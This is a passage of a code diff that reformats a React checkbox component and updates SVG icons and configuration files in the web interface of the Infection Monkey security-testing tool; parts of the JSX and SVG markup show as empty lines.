+ this.toggleChecked = this.toggleChecked.bind(this);
+ this.stopAnimation = this.stopAnimation.bind(this);
+ this.composeStateClasses = this.composeStateClasses.bind(this);
+ }
- //Toggles component.
- toggleChecked() {
- if (this.state.isAnimating) {return false;}
- this.setState({
- checked: !this.state.checked,
- isAnimating: true,
- }, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null});
- }
+ //Toggles component.
+ toggleChecked() {
+ if (this.state.isAnimating) {
+ return false;
+ }
+ this.setState({
+ checked: !this.state.checked,
+ isAnimating: true,
+ }, () => {
+ this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null
+ });
+ }
- // Stops ping animation on checkbox after click
- stopAnimation() {
- this.setState({ isAnimating: false })
- }
+ // Stops ping animation on checkbox after click
+ stopAnimation() {
+ this.setState({isAnimating: false})
+ }
- // Creates class string for component
- composeStateClasses(core) {
- let result = core;
- if (this.state.necessary){
+ // Creates class string for component
+ composeStateClasses(core) {
+ let result = core;
+ if (this.state.necessary) {
return result + ' blocked'
}
- if (this.state.checked) { result += ' is-checked'; }
- else { result += ' is-unchecked' }
+ if (this.state.checked) {
+ result += ' is-checked';
+ } else {
+ result += ' is-unchecked'
+ }
- if (this.state.isAnimating) { result += ' do-ping'; }
- return result;
- }
+ if (this.state.isAnimating) {
+ result += ' do-ping';
+ }
+ return result;
+ }
- render() {
- const cl = this.composeStateClasses('ui-checkbox-btn');
- return (
-
-
-
{ this.props.children }
-
-
- )
- }
+ render() {
+ const cl = this.composeStateClasses('ui-checkbox-btn');
+ return (
+
+
+
{this.props.children}
+
+
+ )
+ }
}
export default CheckboxComponent;
diff --git a/monkey/monkey_island/cc/ui/src/config/base.js b/monkey/monkey_island/cc/ui/src/config/base.js
index 65b6aff99..bea121a3c 100644
--- a/monkey/monkey_island/cc/ui/src/config/base.js
+++ b/monkey/monkey_island/cc/ui/src/config/base.js
@@ -1,5 +1,4 @@
'use strict';
// Settings configured here will be merged into the final config object.
-export default {
-}
+export default {}
diff --git a/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
index 3a357890d..ee2d9cda0 100644
--- a/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
+++ b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
@@ -2,30 +2,45 @@
14cbedff-3eed-4f8f-abb7-fffe92867ded
-
-
-
-
-
-
+
+
+
+
+
+
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
-
+
diff --git a/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
index 837610f28..5e91edec1 100644
--- a/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
+++ b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
@@ -2,7 +2,7 @@
@@ -10,8 +10,11 @@
-
-
-
+
+
+
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
index 507541be4..341223590 100644
--- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
@@ -1 +1,13 @@
-im-alert-machine-icon
\ No newline at end of file
+
+ im-alert-machine-icon
+
+
+
+
+
+
+
+
+
+
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
index 50dcc6726..0951d7ae2 100644
--- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
@@ -1 +1,23 @@
-im-alert-network-icon
\ No newline at end of file
+
+ im-alert-network-icon
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/monkey/monkey_island/cc/ui/src/index.html b/monkey/monkey_island/cc/ui/src/index.html
index 3e7028fc1..38b0c114d 100644
--- a/monkey/monkey_island/cc/ui/src/index.html
+++ b/monkey/monkey_island/cc/ui/src/index.html
@@ -8,6 +8,6 @@
-
+